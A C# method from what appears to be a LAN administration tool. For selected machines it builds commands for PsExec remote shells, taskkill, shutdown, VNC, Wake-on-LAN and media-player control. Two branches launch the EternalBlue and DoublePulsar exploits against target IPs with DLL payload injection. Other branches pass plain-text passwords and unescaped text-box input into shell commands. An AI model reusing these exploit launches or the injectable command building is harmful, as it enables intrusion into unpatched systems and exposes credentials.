private void BTN_ZkplaySetting(object sender, EventArgs e) { _ZkplaySetting = new ZkplaySetting(this); _ZkplaySetting.Show(); }
public void PsExec_Exec(string trigger, bool sync = false) { IEnumerable <LV_IP_Item> targets = CSV.Where(x => x.IsChecked == true); if (targets.Count() != 0) { if (trigger == "WOL" || trigger == "PING") { ProgressBar.Maximum = targets.Count(); } else { ProgressBar.Maximum = targets.Where(x => x.Online == true).Count(); } PsExec psexec = new PsExec(fileutils); PsShutdown psshutdown = new PsShutdown(fileutils); foreach (LV_IP_Item target in targets) { if (target.IsChecked) { if (target.Online || trigger == "WOL" || trigger == "PING") { string batch = null; URL_ShutdownAndMouse url_shutdownandmouse = new URL_ShutdownAndMouse(target.IP); URL_Zkplay url_zkplay; switch (trigger) { case "CMD": LV_UPLOAD.ItemsSource = null; batch = "start \"\" \"" + psexec.version + "\" \\\\" + target.IP + " -u " + target.User + " -p " + target.Passwd + " cmd"; break; case "EXEC": batch = "start /MIN \"\" \"" + psexec.version + "\" \\\\" + target.IP + " -u " + target.User + " -p " + target.Passwd + " -d cmd /c \"\"" + TB_Batch_Destination.Text + TB_Batch_ExecBat.Text + "\" \"" + TB_Batch_Destination.Text + "\" " + target.IP + " " + TB_Batch_Other.Text + "\""; break; case "TASKKILL": batch = "start /MIN \"\" \"" + psexec.version + "\" \\\\" + target.IP + " -u " + target.User + " -p " + target.Passwd + " taskkill /F /IM " + TB_Batch_Other.Text; break; case "MSTSC": batch = "mstsc /v:" + target.IP; break; case "PING": batch = "start \"\" ping " + target.IP + " -t"; break; case "VNC": VNC vnc = new VNC(fileutils); if (TB_Batch_Other.Text != "baidu.com") { fileutils.BinaryWrite(vnc.PasswdFilePath, StringExtensions.GetChunks(vnc.EncryptVNC(TB_Batch_Other.Text), 2)); } batch = "start \"\" \"" + vnc.SoftPath + "\" -passwd \"" + vnc.PasswdFilePath + "\" " + target.IP; break; case "HTTP_SHUTDOWN": batch = url_shutdownandmouse.shutdown; break; case "HTTP_RESTART": batch = url_shutdownandmouse.restart; break; case "WOL": WOL wol = new WOL(fileutils); batch = "start /MIN \"\" \"" + wol.SoftPath + "\" " + target.Mac.Replace("-", "") + " " + target.IP + " 255.255.255.0 9"; break; case "EXPLORER": batch = @"start \\" + target.IP + @"\" + Regex.Replace(TB_Batch_Destination.Text, @":\\(资源管理器)?", @"$"); break; case "SHUTDOWN": batch = "start /MIN \"\" \"" + psshutdown.version + "\" -f -t 01 \\\\" + target.IP + " -u " + target.User + " -p " + target.Passwd; break; case "RESTART": batch = "start /MIN \"\" \"" + psshutdown.version + "\" -r \\\\" + target.IP + " -u " + target.User + " -p " + target.Passwd; break; case "EternalBlue": batch = "start /MIN \"\" \"" + fileutils.EquationExploitPath + "files\\Eternalblue-2.2.0.exe\" --InConfig \"" + fileutils.EquationExploitPath + "files\\Eternalblue-2.2.0.xml\" --TargetIp " + target.IP + " --TargetPort " + TB_TargetPort.Text + " --OutConfig \"" + fileutils.EquationExploitPath + @"logs\EB_" + target.IP + "_" + TB_TargetPort.Text + ".xml\"" + " --Target " + TB_TargetOS.Text; break; case "DoublePulsar": batch = "start /MIN \"\" \"" + fileutils.EquationExploitPath + "files\\Doublepulsar-1.3.1.exe\" --InConfig \"" + fileutils.EquationExploitPath + "files\\Doublepulsar-1.3.1.xml\" --TargetIp " + target.IP + " --TargetPort " + TB_TargetPort.Text + " --OutConfig \"" + fileutils.EquationExploitPath + @"logs\DP_" + target.IP + "_" + TB_TargetPort.Text + ".xml\"" + " --Protocol " + TB_protocol.Text + " --Architecture " + TB_architecture.Text + " --Function " + LB_Function.SelectedItem.ToString() + " --DllPayload \"" + fileutils.EquationExploitDllsPath + LB_payloadDllname.SelectedItem.ToString() + "\" --payloadDllOrdinal " + TB_payloadDllOrdinal.Text + " --ProcessName " + LB_ProcessName.SelectedItem.ToString() + " --ProcessCommandLine " + TB_processCommandLine.Text + " --NetworkTimeout " + TB_NetworkTimeout.Text; break; case "HTTP_ZKPLAY_RESTART": url_zkplay = new URL_Zkplay(target.IP); batch = url_zkplay.restart; break; case "ZKPLAY_UPLOAD": LB_BAT_INNER.SelectedItem = "内容上传"; if (!Regex.Match(lv_ip_item.PlusbeZK, "zkplay||内容").Success) { batch = "未指定Zkplay路径."; } else if (!File.Exists(TB_Batch_Other.Text.Split(';')[0])) { batch = "未指定上传文件."; } else { TB_Batch_Destination.Text = TB_Batch_Destination.Text + @"\UploadFiles"; string[] FileList = target.Other.Split(';'); ZkplayPlayList ZKPList = new ZkplayPlayList(this, target.IP); ZKPList.GetConfig(); ZKPList.Add(FileList); batch = "PsExec_CopyOnly"; } break; case "HTTP_ZKPLAY_PLAY": url_zkplay = new URL_Zkplay(target.IP, LV_ZkplayPlayList.SelectedIndex); batch = url_zkplay.play; break; case "HTTP_ZKPLAY_SETTING": _ZkplaySetting = new ZkplaySetting(this); _ZkplaySetting.Setting.myip = target.IP; url_zkplay = new URL_Zkplay(target.IP, 0, _ZkplaySetting.Setting); batch = url_zkplay.setting_set; _ZkplaySetting.Close(); break; case "PsExec_CopyOnly": batch = "PsExec_CopyOnly"; break; } if (sync) { batch = "SYNC_" + batch; } if (!batch.Contains("PsExec")) { LV_UPLOAD.ItemsSource = null; } Thread thread = new Thread(this); thread.Exec(target, batch); } } } } }